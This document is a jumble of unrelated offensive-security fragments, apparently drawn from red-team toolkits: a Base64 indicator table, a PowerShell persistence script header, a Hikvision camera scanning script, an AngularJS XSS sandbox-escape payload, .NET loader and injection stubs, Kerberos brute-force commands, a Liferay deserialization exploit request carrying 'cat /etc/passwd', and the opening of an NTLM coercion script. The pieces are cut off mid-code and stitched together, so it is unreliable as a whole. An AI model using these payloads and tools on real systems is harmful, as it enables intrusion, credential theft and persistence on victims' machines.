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Learning Aid - Top Base64 Encodings Table

MITRE ATT4CK - T1132 - Data Encoding

Base64 Code	Decoded (. = 0x00)	Description	MITRE ID
JAB	$.	Variable declaration (UTF-16)	T1086
TVq	MZ	MZ header	T1001
UEs	PK	ZIP, Office documents	T1001
SUVY	IEX	PowerShell Invoke Expression	T1086

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<#
    ImageFileExecutionOptions v1.0
    License: GPLv3
    Author: @netbiosX
#>
# Image File Execution Options Injection Persistence Technique
# https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/

function Persist-Debugger

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#!/bin/bash
# Masscan - common ports are 80, 81, 8000, 8080, 8081, 8090, 8888, 9000, 9001
# I do it like this: 
# sudo masscan --banners --source-ip <IP not in use on your network> --rate <how fast you can scan>\ 
# -iL <list of CIDR to scan> -p <that list of ports above> -oJ <output file.json>

# Output filenames
HIKVISION_LIST_DEFAULT='hikvision-default.txt'
HIKVISION_LIST_NON_DEFAULT='hikvision-nondefault.txt'

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1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';

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GhostLoader Steps :)

1. Create C:\Tools
2. Copy Some .NET, any .NET binary to C:\Tools
3. In this example, we use FileHistory.exe, but any .NET app will do.
4. Ensure FileHistory.exe.config is in the same path
5. Execute C:\Tools\FileHistory.exe

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using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace EtwpTest
{
    class Program
    {
        static void Main(string[] args)
        {

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Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

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using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;


namespace InjectionTest
{
    public class DELEGATES
    {

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POST /api/jsonws/invoke HTTP/1.1
Host: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
cmd2: cat /etc/passwd
Content-Type: application/x-www-form-urlencoded
Content-Length: 4956
Connection: close

cmd=%7B%22%2Fexpandocolumn%2Fupdate-column%22%3A%7B%7D%7D&p_auth=%3Cvalid+token%3E&formDate=%3Cdate%3E&columnId=123&name=asdasd&type=1&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F63

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#!/usr/bin/env python
#
# Author: GILLES Lionel aka topotam (@topotam77)
# Modified by: Micah Van Deusen (@micahvandeusen)
# Greetz : grenadine(@Greynardine), skar(@__skar), didakt(@inf0sec1), plissken, pixis(@HackAndDo), shutd0wn(@ _nwodtuhs)
# "Most of" the code stolen from dementor.py from @3xocyte ;)


import sys
import argparse